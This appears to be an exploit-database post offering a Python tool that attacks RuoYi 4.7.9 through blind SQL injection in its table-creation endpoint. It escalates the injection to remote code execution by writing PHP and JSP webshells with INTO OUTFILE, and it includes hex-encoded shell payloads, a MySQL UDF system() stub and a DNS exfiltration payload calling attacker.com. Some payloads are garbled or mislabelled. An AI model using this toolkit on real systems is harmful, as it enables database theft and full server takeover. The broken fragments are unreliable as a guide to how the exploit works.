============================================================================================================================================= | # Title : RuoYi 4.7.9 Advanced SQL Injection Exploitation Toolkit with RCE | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://github.com/yangzongzhuan/RuoYi | ============================================================================================================================================= [+] Summary : This Python script is a sophisticated SQL injection exploitation tool that targets Java web applications (specifically RuoYi framework), with additional Remote Code Execution (RCE) capabilities. The tool performs blind SQL injection attacks and includes multiple methods for escalating SQLi to full system compromise [+] Technical Details: Attack Vector: SQL injection in table creation endpoint (/tool/gen/createTable) Injection Technique: Boolean-based blind with error-based fallback Database: MySQL (uses MySQL-specific functions and syntax) Payload Types: CREATE TABLE statements with conditional subqueries Exploitation Chain: SQLi → File Write → Webshell → RCE [+] POC : python poc.py import requests import argparse import random from concurrent.futures import ThreadPoolExecutor from string import printable, ascii_lowercase, digits from urllib3 import disable_warnings disable_warnings() PROXY_ENABLED = True PROXY = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080' } if PROXY_ENABLED else {} CHARSET = printable def send_request(payload): global counter cookies = { 'JSESSIONID': cookie, } headers = { 'Content-Type': 'application/x-www-form-urlencoded' } data = f"sql={payload}" resp = requests.post(url=url+'/tool/gen/createTable', data=data, cookies=cookies, headers=headers, verify=False, proxies=PROXY) counter += 1 if "Operation successful" in resp.text: return True return False def get_length_payload(value): tablename = f"{random_string}_{counter}" payload = f"CREATE%20table%20{tablename}%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(length(%40%40version)%3d{value}%2c%201%2c%201%2f0)%3b" return payload def get_length(): for length in range(100): payload = get_length_payload(length) if send_request(payload=payload): print(f'Data has {length} characters') return length return 0 def get_payload(location, value:int): tablename = f"{random_string}_{counter}" payload = f"CREATE%20table%20{tablename}%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c{location}%2c1))%3d{value}%2c%201%2c%201%2f0)%3b" return payload def get_char(location): for char in CHARSET: payload = get_payload(location=location, value=ord(char)) if send_request(payload=payload): print(f'Found character {char} at location {location}') return char return 'None' def get_data(): length = get_length() with ThreadPoolExecutor(max_workers=20) as tpe: res_iter = tpe.map(get_char, range(1, length+1)) return ''.join(res_iter) def test_file_write(): """Testing file writing capabilities""" test_paths = [ '/tmp/test_rce.txt', '/var/www/html/test.php', 'C:\\Windows\\Temp\\test.txt', 'C:\\inetpub\\wwwroot\\test.php' ] for path in test_paths: clean_path = path.replace(' ', '') tablename = f"{random_string}_rce_test" payload = f"CREATE%20table%20{tablename}%20as%20SELECT%20''%20INTO%20OUTFILE%20'{clean_path}'" print(f"[*] Testing file write to: {clean_path}") if send_request(payload): print(f"[+] File write Possible success to: {clean_path}") return clean_path return None def execute_system_command(cmd): """Executing a system command using INTO OUTFILE و UDF""" webshell_path = '/var/www/html/shell.php' import base64 cmd_b64 = base64.b64encode(cmd.encode()).decode() php_shell = f'''"; system($cmd); echo ""; }} ?>''' tablename = f"{random_string}_webshell" payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{php_shell.encode().hex()}%20INTO%20OUTFILE%20'{webshell_path}'" if send_request(payload): print(f"[+] Webshell written to: {webshell_path}") try: shell_url = f"{url}/shell.php?cmd={cmd_b64}" resp = requests.get(shell_url, verify=False, proxies=PROXY) if resp.status_code == 200: print("[+] Command output:") print(resp.text[:500]) return resp.text except: pass return None def mysql_udf_rce(): """RCE Using MySQL UDF""" print("[*] Attempting MySQL UDF RCE...") tablename = f"{random_string}_plugin_dir" payload = f"CREATE%20table%20{tablename}%20as%20SELECT%20@@plugin_dir" if send_request(payload): plugin_dir = "/usr/lib/mysql/plugin/" udf_payload = ''' #include #include enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT}; typedef struct st_udf_args { unsigned int arg_count; enum Item_result *arg_type; char **args; unsigned long *lengths; char *maybe_null; } UDF_ARGS; typedef struct st_udf_init { char maybe_null; unsigned int decimals; unsigned long max_length; char *ptr; char const_item; } UDF_INIT; int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { if (args->arg_count != 1) return 0; system(args->args[0]); return 0; } ''' return False def java_jsp_shell(): """Writing JSP shells for Java applications""" jsp_shell = '''<%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>
CMD:
''' jsp_paths = [ '/opt/tomcat/webapps/ROOT/cmd.jsp', '/usr/local/tomcat/webapps/ROOT/shell.jsp', 'C:\\Program Files\\Apache Software Foundation\\Tomcat\\webapps\\ROOT\\cmd.jsp' ] for path in jsp_paths: tablename = f"{random_string}_jspshell" payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{jsp_shell.encode().hex()}%20INTO%20OUTFILE%20'{path}'" if send_request(payload): print(f"[+] JSP shell written to: {path}") return path return None def rce_menu(): """RCE Options List""" print("\n" + "="*50) print("RCE Exploitation Menu") print("="*50) print("1. Test file write capability") print("2. Write PHP webshell") print("3. Write JSP shell (Java)") print("4. Execute system command") print("5. Automated RCE chain") print("6. Back to main menu") choice = input("\nSelect option: ") if choice == "1": path = test_file_write() if path: print(f"[+] File write successful to: {path}") else: print("[-] File write failed") elif choice == "2": webshell_path = '/var/www/html/cmd.php' php_code = '' tablename = f"{random_string}_phpws" payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{php_code.encode().hex()}%20INTO%20OUTFILE%20'{webshell_path}'" if send_request(payload): print(f"[+] PHP webshell written to: {webshell_path}") print(f"[+] Access at: {url}/cmd.php?cmd=id") else: print("[-] Failed to write webshell") elif choice == "3": path = java_jsp_shell() if path: print(f"[+] Access shell at: {url}/shell.jsp") elif choice == "4": cmd = input("Enter command to execute: ") result = execute_system_command(cmd) if not result: print("[-] Command execution failed") elif choice == "5": print("[*] Running automated RCE chain...") print("[*] Step 1: Testing file write...") write_path = test_file_write() if write_path: print(f"[+] Can write to: {write_path}") print("[*] Step 2: Writing webshell...") if '.php' in write_path: php_code = '' tablename = f"{random_string}_auto" payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{php_code.encode().hex()}%20INTO%20OUTFILE%20'{write_path}'" if send_request(payload): print(f"[+] Webshell written successfully!") print(f"[+] Test with: {url}/{'cmd.php' if 'cmd.php' in write_path else write_path.split('/')[-1]}?cmd=id") elif '.jsp' in write_path: java_jsp_shell() else: print("[-] Automated chain failed at step 1") def init(): parser = argparse.ArgumentParser(description='SQLi PoC with RCE') parser.add_argument('-u','--url',help='Target url', required=True, type=str) parser.add_argument('-c','--cookie',help='JSESSIONID cookie value', required=True, type=str) parser.add_argument('--rce', help='Enable RCE mode', action='store_true') return parser.parse_args() if __name__ == '__main__': args = init() url = args.url cookie = args.cookie counter = 0 random_string = ''.join(random.choices(ascii_lowercase + digits, k=6)) if args.rce: rce_menu() else: print('Data: ', get_data()) Additional RCE Loading Options: 1. Direct Webshell Writing: # PHP Webshell payload = "CREATE%20table%20test%20as%20SELECT%200x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e%20INTO%20OUTFILE%20'/var/www/html/shell.php'" # JSP Webshell payload = "CREATE%20table%20test%20as%20SELECT%200x3c25406672616765207061676520696d706f72743d226a6176612e696f2e2a2c 6a6176612e7574696c2e2a22253e3c25696628726571756573742e676574506172616d657465722822632229213d6e756c6c297b5 0726f6365737320703d52756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d65 7465722822632229293b42756666657265645265616465722062693d6e6577204275666665726564526561646572286e657720496e 70757453747265616d52656164657228702e676574496e70757453747265616d282929293b537472696e67206c696e653b7768696 c6528286c696e653d62692e726561644c696e65282929213d6e756c6c297b6f75742e7072696e746c6e286c696e65293b7d7d253e 3c666f726d206d6574686f643d22504f5354223e3c696e70757420747970653d227465787422206e616d653d2263223e3c696e70757420747970653d227375626d6974223e3c2f666f726d3e%20INTO%20OUTFILE%20'/opt/tomcat/webapps/ROOT/cmd.jsp'" 2. Executing actions via DNS extraction: payload = "CREATE%20table%20test%20as%20SELECT%20LOAD_FILE(CONCAT('\\\\\\\\',(SELECT%20@@version),'.attacker.com\\\\test'))" 3. Using an external XML entity: payload = "CREATE%20table%20test%20as%20SELECT%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20@@version),0x7e))" Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================